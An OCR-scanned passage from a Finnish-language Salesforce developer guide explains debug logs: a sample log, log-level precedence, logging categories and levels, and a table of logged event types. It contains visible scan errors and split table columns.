pyynndistd jne. "Kalliit" pyynnot tarkoittavat, etta ne kuluttavat paljon resursseja.

Alla on esimerkki virheenkirjauslokista.

37.0 APEX CODE, FINEST;APEX PROFILING, INFO;CALLOUT, INFO;DB, INFO;SYSTEM, DEBUG;
VALIDATION, INFO; VISUALFORCE, INFO; WORKFLOW, INFO

Execute Anonymous:

System.debug ('Hello World!"'");

16:06:58.18 (18043585) |[USER_INFO| [EXTERNAL] |005D0000001bYPN|devuser@example.org|
Pacific Standard Time|GMT-08:00

16:06:58.18 (18348659) |[EXECUTION STARTED

16:06:58.18 (18383790) |[CODE_UNIT STARTED| [EXTERNAL] |execute anonymous_apex

16:06:58.18 (23822880) |[HEAP_ALLOCATE| [72] |Bytes:3

16:06:58.18 (24271272) |[HEAP_ ALLOCATE| [77] |Bytes:152

16:06:58.18 (24691098) |HEAP ALLOCATE| [342] |Bytes:408

16:06:58.18 (25306695) |[HEAP ALLOCATE| [355] |Bytes:408

16:06:58.18 (25787912) |[HEAP_ALLOCATE| [467] |Bytes:48

16:06:58.18 (26415871) |[HEAP ALLOCATE| [139] |Bytes:6

16:06:58.18 (26979574)|HEAP7ALLOCATE|[EXTERNAL]IBytes:l

16:06:58.18 (27384663) |STATEMENT EXECUTE| [1]

16:06:58.18 (27414067) |[STATEMENT EXECUTE| [1]

16:06:58.18 (27458836) |[HEAP ALLOCATE| [1] |Bytes:12

16:06:58.18 (27612700) |[HEAP ALLOCATE| [50] |Bytes:5

16:06:58.18 (27768171) |[HEAP_ALLOCATE| [56] |Bytes:5

16:06:58.18 (27877126) |[HEAP ALLOCATE| [64] |Bytes:7

16:06:58.18 (49244886) |USER DEBUG]| [1] | DEBUG|Hello World!

16:06:58.49 (49590539)ICUMULATIVEiLIMITiUSAGE
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16:06:58.49 (49590539) |LIMIT USAGE FOR NS| (default) |
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 50000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Maximum CPU time: 0 out of 10000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 100
Number of Email Invocations: 0 out of 10
Number of future calls: 0 out of 50
Number of queueable jobs added to the queue: 0 out of 50
Number of Mobile Apex push calls: 0 out of 10

16:06:58.49 (49590539) |CUMULATIVE LIMIT USAGE END

16:06:58.18 (52417923) |[CODE_UNIT FINISHED|execute anonymous apex
16:06:58.18 (54114689) |EXECUTION FINISHED

KATSO MYOS:
Virheenkorjauslokien tasot

Hakeminen virheenkorjauslokista

Debug Log Order of Precedence

Lokiin lisattavat tapahtumat riippuvat useista tekijoista. Naihin tekijoihin sisdltyy seurantalippusi, EDITION-VERSIOT
oletusarvoiset lokitasot, API-ylatunnisteesi, kayttajiin perustuvan jarjestelmalokin kdyttdénotto ja
syottopisteidesi asettamat lokitasot.

Kéytettavissa: Salesforce

The order of precedence for debug log levels is: Classicissa ja Lightning

1. Traceflagssetin the Developer Console override all other logging logic. The Developer Console Experiencessa
sets a trace flag when it loads, and that trace flag remains in effect until it expires. You can set Kaytettdvissa: Enterprise
trace flags in the Developer Console or in Setup or by using the TraceFlag and Edition-, Performance
DebugLevelTooling APl objects. Edition-, Unlimited Edition-,

Developer Edition- ja
@ Nofte: Setting class and trigger trace flags doesn't cause logs to be generated or saved. Database.com Edition
Class and trigger trace flags override other logging levels, including logging levels set by -versioissa

user trace flags, but they don't cause logging to occur. If logging is enabled when classes
or triggers execute, logs are generated at the time of execution.

2. Ifyoudon'thave active trace flags, synchronous and asynchronous Apex tests execute with the default logging levels. Default logging
levels are:

DB
INFO

APEX_CODE
DEBUG

APEX_PROFILING
INFO
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WORKFLOW
INFO

VALIDATION
INFO

CALLOUT
INFO

VISUALFORCE
INFO

SYSTEM
DEBUG
3. Ifnorelevant trace flags are active, and no tests are running, your APl header sets your logging levels. APl requests that are sent
without debugging headers generate transient logs—Ilogs that aren't saved—unless another logging rule is in effect.

4. If your entry point sets a log level, that log level is used. For example, Visualforce requests can include a debugging parameter that
sets log levels.

If none of these cases apply, logs aren’t generated or persisted.

KATSO MYOS:
Lokit-vdlilehti
Virheenkorjauslokin tiedot
Virheenkorjauslokien tasot
Force.com Tooling APl Developer’s Guide: TraceFlag

Apex Developer Guide: DebuggingHeader

Virheenkorjauslokien tasot

KAYTTJAOIKEUDET EDITION-VERSIOT

Developer-konsolin kayttdminen: Kaikkien tietojen tarkasteluoikeus Kaytettavissa Salesforce

A . koodi ) . A laadi i« Classicissa ja Lightning
nonyymin Apex-koodin suorittaminen: pex-laadintaoikeus Experiencessa

Koodihaun ké&yttdminen ja SOQL:n tai SOSL:n - API kdytossd

Kéytettdvissd: Enterprise
suorittaminen kyselyvdlilehdessd: Y P

Edition-, Performance

Apex Code -luokkiin ja -kdynnistimiin Apex-laadintaoikeus Edition-, Unlimited Edition-,

tehtyjen muutosten tallentaminen: Developer Edition- ja
Database.com Edition

Visualforce-sivuihin ja -komponentteihin Sovelluksen mukautusoikeus -versioissa

tehtyjen muutosten tallentaminen:

Muutosten tallentaminen Sovelluksen mukautusoikeus
Lightning-resurssiin:

Aseta seurantalippuja ja virheenkorjaustasoja maarittdaksesi virheenkorjauslokeihin sisallytettavien tietojen tason. Seurantalippuihin
kohdistamasi virheenkorjaustasot maarittavat, kuinka paljon ja millaista tietoa lokeihin kirjataan eri tapahtumista. Kun tiedot on kirjattu
lokiin, tarkasta virheenkorjaustapahtumat virheenkorjauslokeistasi.
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Virheenkorjaustaso on joukko lokitasoja virheenkorjauslokien kategorioille, kuten Tietokanta, Tydnkulku ja Vahvistus.
Seurantalippu sisaltda virheenkorjaustason, alkamisajan, padttymisajan ja lokin tyypin. Lokityypit ovat DEVELOPER LOG, USER_DEBUG

ja CLASS_TRACING.

Kun avaat kehittdjan konsolin, se asettaa DEVELOPER _LOG-Seurantalipun kirjatakseen toimintojasi lokiin. USER _ DEBUG-seurantaliput
kirjaavat lokiin yksittdisen kdyttdjan toimintoja. CLASS TRACING-seurantaliput korvaavat Apex-luokkien ja -kdynnistimien lokitasot,
mutta eivat luo lokeja.

Voit madrittad lokiin sisallytettavien tietojen tason, kun kaytdt Developer-konsolia tai valvot virheenkorjauslokia.

Kirjausluokka
kirjattujen tietojen taso, kuten tiedot Apex- tai tyénkulkusaanndista.

Kirjaustaso
Kirjattavien tietojen mdara.

Tapahtuman tyyppi
Lokin luokkien ja tason yhdistelmad, joka madrittda kirjattavat tapahtumat. Kustakin tapahtumasta saattaa kirjautua ylimadrdista tietoa,
kuten rivin ja merkin numero, josta tapahtuma alkoi, tapahtumaan liittyvat kentat ja tapahtuman kesto.

Virheenkorjauslokien luokat

Jokainen virheenkorjaustaso sisaltad virheenkorjauslokitason seuraaville lokien luokille. Kuhunkin luokkaan kirjattavien tietojen maara
riippuu lokitasosta.
Kirjausluokka Kuvaus

Tietokanta Sisdltaa tietoja tietokannan toiminnoista, myos jokaisesta DML-lausekkeesta (data
manipulation language) tai sisdisestd SOQL- tai SOSL-kyselysta.

tyénkulku Sisaltda tyonkulkusaantojen, kulkujen ja prosessien tietoja, kuten sadnnén nimen ja
suoritettavat toiminnot.

Vahvistus Sisaltda tietoja vahvistussaannaistd, kuten sdannén nimi ja onko sdantd arvioitu todeksi vai
vadraksi.
Kutsu Sisaltda pyynto-vastaus-XML:n, jonka palvelin [dhettda ja vastaanottaa ulkoisesta

Web-palvelusta. Tdmd on hyddyllinen, kun korjaat Force.com:in Web-palvelun API-kutsuihin
tai kdyttdjien ulkoisten objektien kdyttdoikeuksiin liittyvia ongelmia Salesforce Connectin
OData-sovittimella.

Apex-koodi Sisaltad tietoja Apex-koodista. Voi sisdltaa tietoja kuten DML-lausekkeiden tai sisdisten SOQL-
tai SOSL-kyselyjen luomia lokiviestejd, tietoja kdynnistimien kaynnistymisesta ja paattymisesta,
kdytetyista kokonaisresursseista seka testimetodien alkamisesta ja paattymisestd.

Apex-profilointi Sisaltdd kumulatiiviset profilointitiedot, kuten nimitilasi rajoitukset ja lahetettyjen sahkdpostien
maara.
Visualforce Sisaltaa tietoja Visualforce-tapahtumista, mukaan lukien ndkymantilan jaksottaminen tai

jaksottamisen kumoaminen tai Visualforce-sivulla olevan kaavakentan arvio.

Jarjestelmi Sisaltaa tietoja kaikille jarjestelmametodeille tehdyista kutsuista, esimerkiksi
System.debug-metodi.
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Virheenkorjauslokien tasot

Jokainen virheenkorjaustaso sisdltad jonkin seuraavista lokitasoista kullekin lokien luokille. Tasot luetellaan matalimmasta korkeimpaan.
Maardtyt tapahtumat kirjataan luokan ja tasojen yhdistelman perusteella. Suurin osa tapahtumista kirjataan INFO-tasolla. Taso on
kumulatiivinen, eli jos valitset FINE, loki sisaltda myos kaikki DEBUG-, INFO-, WARN- ja ERROR-tasoille kirjatut tapahtumat.

@ Nofe: Kaikki tasot eivdt ole saatavilla kaikille luokille. Ainoastaan tasot, jotka viittaavat vahintddn yhteen tapahtumaan, ovat

kdytettdvissa.

NONE
VIRHE
WARN

INFO
DEBUG
FINE
FINER
FINEST

@ Tarkedd: Varmista ennen kayttéonoton suorittamista, ettd Apex-koodin lokitasoksi ei ole madritetty FINEST. Muutoin kayttéénotto

kestad todenndkoisesti odotettua kauemmin. Jos Developer-konsoli on avoinna, Developer-konsolin lokitasot vaikuttavat kaikkiin
lokeihin, mukaan lukien kayttdonoton yhteydessa luodut lokit.

Virheenkorjaustapahtumien tyypit

Seuraa on esimerkki siitd, mita kirjoitetaan virheenkorjauslokiin. Tapahtuma on USER DEBUG.Muotoon aikaleima | Tapahtuman
tunnistin:

aikaleima: Koostuu ajasta, jolloin tapahtuma tapahtui, ja sulkeissa olevasta arvosta. Aika on kayttdjan aikavyohykkeen mukainen ja
muodossa HH:mm: ss . SSS. Sulkeissa oleva arvo esittdd pyynnon alusta kulunutta aikaa nanosekunteina. Kuluneen ajan arvoa ei
sisdllytetd Developer Console -konsolissa tarkastettaviin lokeihin, kun kdytat Execution Log (Suoritusloki) -ndkymaa. Voit kuitenkin
nahdd kuluneen ajan kdyttdamalld Raw Log (Raaka loki) -ndkymad. Avaa Raw Log (Raaka loki) -ndkymd napsauttamalla lokin nimeé
hiiren oikealla painikkeella Developer Console -konsolin Logs (Lokit) -vélilehdestd ja valitsemalla Open Raw Log (Avaa raaka loki).

tapahtuman tunnistin: Madrittaa tapahtuman, joka kdynnisti virheenkorjauslokimerkinndn (kuten SAVEPOINT RESET tai
VALIDATION RULE).Sisédltdd myds tapahtumasta lokiin kirjattuja lisdtietoja, kuten metodin nimen tai rivin ja merkin, jossa koodi
suoritettiin.

Alla on esimerkki virheenkorjauslokin rivista.

Virheenkorjauslokin rivin esimerkki

Time Stamp Event Identifier

14:49:59.037 (37045000) |USER_DEBUG| [2] | DEBUG|Hello World!

Tassa esimerkissa tapahtuman tunnistin koostuu seuraavista:
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Tapahtuman nimi:

USER _DEBUG
e Tapahtuman rivinumero koodissa:
[2]
e System.Debug-menetelman kirjaustaso mdaritettiin arvoon:

DEBUG

e Kdyttdjan antama komentosarja System. Debug menetelmdlle:

Hello world!

Tama koodinpéatka kaynnistad seuraavan lokirivin esimerkin.

Virheenkorjauslokin rivin koodikatkelma

HizTest

private class TestHandleProductPriceChange

atatic testMethod void testPriceChange(] {

Invoice 3tatement ¢ inwoice = new Invoice 3tatement  cistatus_ c = 'Negotiating'):
insert inwoice:

[ U B O L T o I

Seuraava lokirivi tallennetaan, kun testi saavuttaa koodissa rivin 5.
15:51:01.071 (55856000) |DML BEGIN| [5] |Op:Insert|Type:Invoice Statement c|Rows:1

Tassa esimerkissa tapahtuman tunnistin koostuu seuraavista.

e Tapahtuman nimi:

DML BEGIN

e Tapahtuman rivinumero koodissa:

[5]

e DML-toiminnon tyyppi —Insert.

Op:Insert
e Objektin nimi:
Type:Invoice Statement c¢

e DML-toimintoon vélitettavien rivien maara:

Rows:1

Tama taulukko sisaltaa lokiin lisattavat tapahtumatyypit. Taulukko ndyttaa jokaista tapahtumatyyppia kohti, mitkd kentat tai muita tietoja
kirjataan kustakin tapahtumasta, ja mika lokitason ja kategorian yhdistelmé aiheuttaa tapahtuman kirjaamisen lokiin.
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Tapahtuman nimi Tapahtuman kanssa kirjatut kentdt tai tiedot  Kirjattu  Kirjattu

luokka  taso

BULK HEAP ALLOCATE Allokoitujen tavujen mddra Apex-koodi  FINEST

CALLOUT REQUEST Rivin numero, pyynndn otsikot Kutsu INFO ja

yldpuolella

CALLOUT REQUEST Ulkoinen péatepiste ja metodi Kutsu INFO ja

(Ulkoisen objektin kayttooikeus Salesforce ylapuolella

Connectin OData-sovittimella)

CALLOUT REQUEST Rivin numero, pyynnon tekstiosa Kutsu INFO ja

yldpuolella

CALLOUT_ REQUEST Tila ja tilakoodi Kutsu INFO ja

(Ulkoisen objektin kayttooikeus Salesforce ylapuolella

Connectin OData-sovittimella)

CODE_UNIT FINISHED Ei mitdan Apex-koodi ERROR ja

yldpuolella

CODE_UNIT STARTED Rivin numero ja koodiyksikdn nimi, kuten Apex-koodi  ERROR ja
MyTrigger on Account trigger event yldpuolella
BeforeInsert for [new]

CONSTRUCTOR ENTRY Rivin numero, Apex-luokan tunnus, merkkijono Apex-koodi  FINE ja
<init>(),jossa mahdolliset parametrit ovat yldpuolella
sulkeissa

CONSTRUCTOR_EXIT Rivin numero, merkkijono <init>(),jossa Apex-koodi  FINE ja
mahdolliset parametrit ovat sulkeissa yldpuolella

CUMULATIVE LIMIT USAGE Ei mitdan Apexprofioini - INFO ja

yldpuolella

CUMULATIVE LIMIT USAGE END Ei mitadn Apexprofioni - INFO ja

yldpuolella

CUMULATIVE PROFILING Ei mitdan Apexprofiointi - FINE ja

yldpuolella

CUMULATIVE PROFILING BEGIN Ei mitdan Apexprofiointi - FINE ja

yldpuolella

CUMULATIVE PROFILING END Ei mitdan Apexprofiointi - FINE ja

yldpuolella

DML BEGIN Rivin numero, toiminto (kuten Insert (Lisdd)tai DB INFO ja
Update (Péivitd)), tietueen nimi tai tyyppi, yldpuolella
DML-toimintoon siirrettyjen rivien mdard

DML END Rivin numero DB INFO ja

yldpuolella

277



Paranna Salesforcea koodilla

Tapahtuman nimi

EMATIL QUEUE

ENTERING MANAGED PKG

EXCEPTION THROWN

EXECUTION FINISHED

EXECUTION STARTED

FATAL ERROR

FLOW ACTIONCALL DETAIL

FLOW ASSIGNMENT DETATIL

FLOW BULK ELEMENT BEGIN

FLOW BULK ELEMENT DETATL

FLOW_BULK_ELEMENT END

FLOW CREATE INTERVIEW BEGIN

FLOW CREATE INTERVIEW END

FLOW CREATE INTERVIEW ERROR

FLOW ELEMENT BEGIN

FLOW ELEMENT DEFERRED

FLOW ELEMENT END

FLOW ELEMENT ERROR

Tapahtuman kanssa kirjatut kentdt tai tiedot  Kirjattu

Rivin numero

Paketin nimitila

Rivin numero, poikkeuksen tyyppi, viesti

Ei mitaan

Ei mitdan

Poikkeuksen tyyppi, viesti, pinojaljitys

Haastattelun tunnus, elementin nimi, toiminnon
tyyppi, toiminnon enum tai tunnus, onnistuiko
toimintokutsu ja virheviesti

Haastattelun tunnus, viite, operaattori ja arvo

Haastattelun tunnus ja elementin tyyppi

Haastattelun tunnus, elementin tyyppi, elementin
nimi, tietueiden maara ja suoritusaika

Haastattelun tunnus, elementin tyyppi, elementin
nimi ja tietueiden madra

Organisaation tunnus, mddritteen tunnus ja version
tunnus

Haastattelun tunnus ja kulun nimi

Viesti, organisaation tunnus, madritteen tunnus ja
version tunnus

Haastattelun tunnus, elementin tyyppi, elementin
nimi

Elementin tyyppi ja elementin nimi

Haastattelun tunnus, elementin tyyppi, elementin
nimi

Viesti, elementin tyyppi ja elementin nimi (kulun
suorituksen aikainen poikkeus)
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luokka

Apex-koodi

Apex-koodi

Apex-koodi

Apex-koodi

Apex-koodi

Apex-koodi

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Virheenkorjauslokit

Kirjattu
taso

INFOja
yldpuolella

INFOja
yldpuolella

INFOja
yldpuolella

ERROR ja
yldpuolella

ERROR ja
yldpuolella

ERROR ja
yldpuolella

FINER ja
yldpuolella

FINER ja
yldpuolella

FINE ja
yldpuolella

FINER ja
yldpuolella

FINEja
yldpuolella

INFOja
yldpuolella

INFOja
yldpuolella

ERRORja
yldpuolella

FINEja
yldpuolella

FINEja
yldpuolella

FINEja
yldpuolella

ERRORja
yldpuolella
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Tapahtuman nimi

FLOW ELEMENT ERROR

FLOW ELEMENT ERROR

FLOW ELEMENT ERROR

FLOW ELEMENT ERROR

FLOW ELEMENT FAULT

FLOW INTERVIEW PAUSED

FLOW INTERVIEW RESUMED

FLOW LOOP DETAIL

FLOW RULE DETAIL

FLOW START INTERVIEW BEGIN

FLOW START INTERVIEW END

FLOW_START INTERVIEWS BEGIN

FLOW_START INTERVIEWS END

FLOW_START INTERVIEWS ERROR

FLOW SUBFLOW DETAIL

FLOW VALUE ASSIGNMENT

FLOW WAIT EVENT RESUMING DETAIL

Tapahtuman kanssa kirjatut kentdt tai tiedot  Kirjattu

Viesti, elementin tyyppi ja elementin nimi (kipinda ei
|Gydy)

Viesti, elementin tyyppi ja elementin nimi
(suunnittelijan poikkeus)

Viesti, elementin tyyppi ja elementin nimi
(suunnittelijan raja ylitetty)

Viesti, elementin tyyppi ja elementin nimi
(suunnittelijan suorituksen aikainen poikkeus)

Viesti, elementin tyyppi ja elementin nimi (virheellista
polkua seurattu)
Haastattelun tunnus, kulun nimi ja tauon syy

Haastattelun tunnus ja kulun nimi

Haastattelun tunnus, indeksi ja arvo

Indeksi on sijainti kokoelman muuttujassa kohteelle,
jossa silmukka toimii.

Haastattelun tunnus, séannén nimi ja tulos

Haastattelun tunnus ja kulun nimi

Haastattelun tunnus ja kulun nimi

Pyynnot

Pyynnot

Viesti, haastattelun tunnus ja kulun nimi

Haastattelun tunnus, nimi, maaritteen tunnus ja

version tunnus

Haastattelun tunnus, avain ja arvo

Haastattelun tunnus, elementin nimi, tapahtuman
nimi ja tapahtuman tyyppi
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luokka

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Tyonkulku

Virheenkorjauslokit

Kirjattu
taso

ERROR ja
yldpuolella

ERROR ja
yldpuolella

ERROR ja
yldpuolella

ERROR ja
yldpuolella

VAROITUS ja
ylapuoliset

INFO ja
yldpuolella

INFO ja
yldpuolella

FINER ja
yldpuolella

FINER ja
yldpuolella

INFO ja
yldpuolella

INFO ja
yldpuolella

INFO ja
yldpuolella

INFO ja
yldpuolella

ERROR ja
yldpuolella

FINER ja
yldpuolella

FINER ja
yldpuolella

FINER ja
yldpuolella
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Tapahtuman nimi

FLOW WAIT EVENT WAITING DETAIL

FLOW WAIT RESUMING DETAIL

FLOW WAIT WAITING DETATIL

HEAP ALLOCATE

HEAP DEALLOCATE

IDEAS QUERY EXECUTE

LIMIT USAGE_FOR NS

Tapahtuman kanssa kirjatut kentdt tai tiedot  Kirjattu

luokka

Haastattelun tunnus, elementin nimi, tapahtuman ~ Tydnkulku
nimi, tapahtuman tyyppi ja tayttyivatko ehdot

Haastattelun tunnus, elementin nimi ja haastattelun  Tydnkulku

pysyva tunnus

Haastattelun tunnus, elementin nimi, elementin Tyonkulku
odottamien tapahtumien mdara ja haastattelun pysyva

tunnus

Rivinumero, tavujen maara Apex-koodi

Rivinumero, allokoinnista poistettujen tavujen madra  Apex-koodi

Rivin numero DB
Nimitila ja seuraavat rajoitukset: Apexprofioint
Number of SOQL queries

Number

Number

Number

Number

Number

of

of

of

of

of

query rows

SOSL queries

DML statements

DML rows

code statements

Maximum heap size

Number

Number

Number

Number

Number

describes

of

of

of

of

of

callouts

Email Invocations

fields describes

record type describes

child relationships

Number of picklist describes

Number of future calls

Number of find similar calls
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Kirjattu
taso

FINER ja
yldpuolella

FINER ja
yldpuolella

FINER ja
yldpuolella

FINER ja
yldpuolella

FINER ja
yldpuolella

FINEST
FINEST
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Tapahtuman nimi

METHOD ENTRY

METHOD EXIT

POP_TRACE_FLAGS

PUSH NOTIFICATION INVALID APP

PUSH NOTTFICATICN INVALID CERTIFICATE

PUSH NOTTFICATION INVALID NOTTFICATION

PUSH NOTIFICATION NO DEVICES

PUSH NOTIFICATION NOT ENABLED

Tapahtuman kanssa kirjatut kentdt tai tiedot

Number of System.runAs()

invocations

Rivinumero, luokan Force.com -luokkatunnus, metodin
allekirjoitus

Rivinumero, luokan Force.com -luokkatunnus, metodin
allekirjoitus.

Seuraavat tiedot kirjataan rakentajille: Rivinumero,
luokan nimi.

Rivin numero, sellaisen luokan tai kdynnistimen
Force.com-tunnus, jonka lokitasot on madritetty ja
joka mahtuu skaalaan, kyseisen luokan tai
kdynnistimen nimi, ja tdstd skaalasta poistumisen
jalkeen voimassa oleva lokitasoasetukset

Sovelluksen nimitila, sovelluksen nimi.

Tama tapahtuma ilmenee, kun Apex-koodi yrittda
lahettda ilmoitusta sovellukselle, jota ei ole olemassa
tassa organisaatiossa tai jossa ei ole tyontoilmoituksia
kdytossa.

Sovelluksen nimitila, sovelluksen nimi.

Tama tapahtuma osoittaa, ettd sertifikaatti on
virheellinen. Se saattaa esimerkiksi olla vanhentunut.

Sovelluksen nimitila, sovelluksen nimi, palvelutyyppi
(Apple tai Android GCM), kdyttajatunnus, laite,
tietosisaltd (alamerkkijono), tietosisallén pituus.

Tama tapahtuma ilmenee, kun ilmoituksen tietosisaltd
on liian pitka.
Sovelluksen nimitila, sovelluksen nimi.

Tama tapahtuma ilmenee, kun yhdellakaan kayttajalla,
jolle yritamme Iahettad ilmoitusta, ei ole rekisterditya
laitetta.

Tamad tapahtuma ilmenee, kun tydntdilmoitukset eivdt
ole organisaatiosi kdytossa.
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Kirjattu
luokka

Apex-koodi

Apex-koodi

Jarjestelma

Apex-koodi

Apex-koodi

Apex-koodi

Apex-koodi

Apex-koodi

Virheenkorjauslokit

Kirjattu
taso

FINEja
yldpuolella

FINEja
yldpuolella

INFO ja
yldpuolella

VIRHE

VIRHE

VIRHE

DEBUG

INFO



Paranna Salesforcea koodilla Virheenkorjauslokit

Tapahtuman nimi Tapahtuman kanssa kirjatut kentdt tai tiedot  Kirjattu  Kirjattu
luokka  taso

PUSH NOTIFICATION SENT Sovelluksen nimitila, sovelluksen nimi, palvelutyyppi  Apex-koodi DEBUG
(Apple tai Android GCM), kdyttajatunnus, laite,
tietosisaltd (alamerkkijono)

Tama tapahtuma tallentaa, ettd ilmoitus hyvaksyttiin
|ahetettavaksi. Emme takaa ilmoituksen toimitusta.

PUSH_TRACE_ FLAGS Rivin numero, sellaisen luokan tai kdynnistimen Jarjestelma INFO ja
Force.com-tunnus, jonka lokitasot on madritetty ja yldpuolella
joka ei mahdu skaalaan, kyseisen luokan tai
kdynnistimen nimi, ja tdhan skaalaan siirtymisen
jalkeen voimassa oleva lokitasoasetukset

QUERY MORE BEGIN Rivin numero DB INFO ja
yldpuolella

QUERY MORE_END Rivin numero DB INFO ja
yldpuolella

QUERY MORE ITERATIONS Rivinumero, queryMore -iterointien madra DB INFO ja
yldpuolella

SAVEPOINT ROLLBACK Rivinumero ja tallennuspisteen nimi DB INFO ja
yldpuolella

SAVEPOINT SET Rivinumero ja tallennuspisteen nimi DB INFO ja
yldpuolella

SLA_END Tapausten maard, latausaika, kasittelyaika, lisattavien, Tyonkulku INFO ja
paivitettdvien tai poistettavien virstanpylvdiden maara yldpuolella

ja uusi kdynnistin

SLA EVAL MILESTONE Virstanpylvdan tunnus Tyonkulku  INFO ja
yldpuolella
SLA NULL START DATE Ei mitaan Tyonkulku  INFOja
yldpuolella
SLA PROCESS CASE Tapauksen tunnus Tyonkulku  INFOja
yldpuolella
SOQL EXECUTE BEGIN Rivinumero, kerddntymien maard, pyynnon lahde DB INFO ja
yldpuolella
SOQL EXECUTE END Rivinumero, rivien maara, kesto millisekunteina DB INFO ja
yldpuolella
SOQL EXECUTE BEGIN Rivinumero, pyynnon ldhde DB INFO ja
yldpuolella
SOQL_EXECUTE_ END Rivinumero, rivien maara, kesto millisekunteina DB INFO ja
yldpuolella
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Tapahtuman nimi

STACK _FRAME VARIABLE LIST

STATEMENT EXECUTE

STATIC VARIABLE LIST

SYSTEM CONSTRUCTOR ENTRY

SYSTEM CONSTRUCTOR EXIT

SYSTEM METHOD ENTRY

SYSTEM METHOD EXIT

SYSTEM MODE ENTER

SYSTEM MODE EXIT

TESTING LIMITS

TOTAL EMAIL RECIPIENTS QUEUED

USER DEBUG

Tapahtuman kanssa kirjatut kentdt tai tiedot  Kirjattu

Kehysnumero, lomakkeen muuttujien luettelo:
Muuttujan numero | Arvo.Esimerkki:

varl:50

var2:'Hello World'

Rivin numero

Lomakkeen muuttujien luettelo: Muuttujan
numero | Arvo. Esimerkki:

varl:50

var2:'Hello World'

Rivin numero, merkkijono <init> (), jossa
mahdolliset parametrit ovat sulkeissa

Rivin numero, merkkijono <init> (),jossa
mahdolliset parametrit ovat sulkeissa
Rivinumero, metodin allekirjoitus
Rivinumero, metodin allekirjoitus

Tilan nimi

Tilan nimi

Ei mitdan

Lahetettyjen sahkopostien maara

luokka

Apexroficinti

Apex-koodi

Apexprofioint

Jarjestelma

Jarjestelma

Jarjestelma

Jarjestelma

Jarjestelma

Jarjestelma

Apexroficint

Apexproficint

Rivinumero, lokitaso, kdyttdjan sydttama merkkijono  Apex-koodi
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Virheenkorjauslokit

Kirjattu
taso

FINE ja
yldpuolella

FINER ja
yldpuolella

FINE ja
yldpuolella

FINE ja
yldpuolella

FINEja
yldpuolella

FINE ja
yldpuolella

FINE ja
yldpuolella

INFOja
yldpuolella

INFOja
yldpuolella

INFOja
yldpuolella

FINE ja
yldpuolella

DEBUG ja
yldpuolella
oletuksena.
Jos kayttdja
asettaa lokin
tason
SemnlhEtd
tapahtuma
kirjataan sen
Sijaan



Paranna Salesforcea koodilla Virheenkorjauslokit

Tapahtuman nimi Tapahtuman kanssa kirjatut kentdt tai tiedot Kirjattu  Kirjattu
luokka  taso
kyseiselle
tasolle.
VALIDATION ERROR Virheviesti Vahvistus  INFOja
yldpuolella
VALIDATION FAIL Ei mitdan Vahvistus  INFOja
yldpuolella
VALIDATION FORMULA Kaavalahde ja arvot Vahvistus  INFO ja
yldpuolella
VALIDATION PASS Ei mitaan Vahvistus  INFO ja
yldpuolella
VALIDATION RULE Saannon nimi Vahvistus  INFO ja
yldpuolella
VARIABLE ASSIGNMENT Rivin numero, muuttujan nimi, muuttujan arvon Apex-koodi  FINEST
merkkijonona, muuttujan osoite
VARIABLE SCOPE BEGIN Rivinumero, muuttujan nimi, tyyppi, arvo, joka osoittaa  Apex-koodi  FINEST
voiko muuttujaan viitata, sekd arvo, joka osoittaa onko
muuttuja staattinen
VARIABLE SCOPE_END Ei mitdan Apex-koodi  FINEST
VF_APEX CALL Elementin nimi, menetelman nimi ja palautustyyppi  Apex-koodi INFO ja
yldpuolella
VF_DESERIALIZE VIEWSTATE BEGIN  Nakymdn tilan tunnus Visualforce  INFOja
yldpuolella
VF DESERIALIZE VIEWSTATE END Ei mitaan Visualforce  INFO ja
yldpuolella
VF_ EVALUATE FORMULA BEGIN Nakyman tilan tunnus ja kaava Visualforce  FINER ja
yldpuolella
VF_EVALUATE FORMULA END Ei mitaan Visualforce  FINER ja
yldpuolella
VF_PAGE_MESSAGE Viestin teksti Apex-koodi  INFO ja
yldpuolella
VF SERIALIZE VIEWSTATE BEGIN Nakyman tilan tunnus Visualforce  INFO ja
yldpuolella
VF SERIALIZE VIEWSTATE END Ei mitaan Visualforce  INFO ja
yldpuolella
WE_ACTION Toiminnon kuvaus Tyonkulku  INFO ja
yldpuolella
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Tapahtuman nimi Tapahtuman kanssa kirjatut kentdt tai tiedot  Kirjattu
luokka

WEF _ACTION TASK Tehtavan aihe, toiminnon tunnus, saantd, omistajaja  Tyonkulku
erapaiva

WF_ACTIONS END Yhteenveto suoritetuista toiminnoista Tyonkulku

WEF_APPROVAL Siirron tyyppi, EntityName: NameField Id Tyonkulku
ja prosessisolmun nimi

WF_APPROVAL REMOVE EntityName: NameField Id Tyonkulku

WF_APPROVAL SUBMIT EntityName: NameField Id Tyonkulku

WEF ASSIGN Omistaja ja valtuutetun mallin tunnus Tyonkulku

WF CRITERIA BEGIN EntityName: NameField Id,sadnndnnimi, Tydnkulku
saannoén tunnus ja kaynnistimen tyyppi (jos sdantd
kunnioittaa kdynnistimen tyyppeja)

WF_CRITERIA END Onnistumista kuvaava Boolean-arvo (tosi vai vddrd) ~ Tydnkulku

WF_EMAIL ALERT Toiminnon tunnus ja sdanto Tyonkulku

WF_EMAIL SENT Sahkopostimallin tunnus, vastaanottajat ja Tyonkulku
CC-sahkopostiosoitteet

WF_ENQUEUE_ACTIONS Jonoon asetettujen toimintojen yhteenveto Tyonkulku

WEF_ESCALATION ACTION Tapauksen tunnus ja toimistoajat Tyonkulku

WEF_ESCALATION RULE Ei mitaan Tyonkulku

WF_EVAL ENTRY CRITERIA Prosessin nimi, sdhkdpostimallin tunnus ja tulosta  Tydnkulku
kuvaava Boolean-arvo (tosi vai vaara)

WF_FIELD UPDATE EntityName: NameField Id jaobjektintai Tyonkulku
kentdn nimi

WF_FORMULA Kaavaldhde ja arvot Tyonkulku

WF_HARD REJECT Ei mitddn Tyonkulku

WF NEXT APPROVER Omistaja, seuraavan omistajan tyyppi ja kentta Tyonkulku
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Kirjattu
taso

INFOja
yldpuolella

INFOja
yldpuolella

INFOja
yldpuolella

INFO ja
yldpuolella

INFO ja
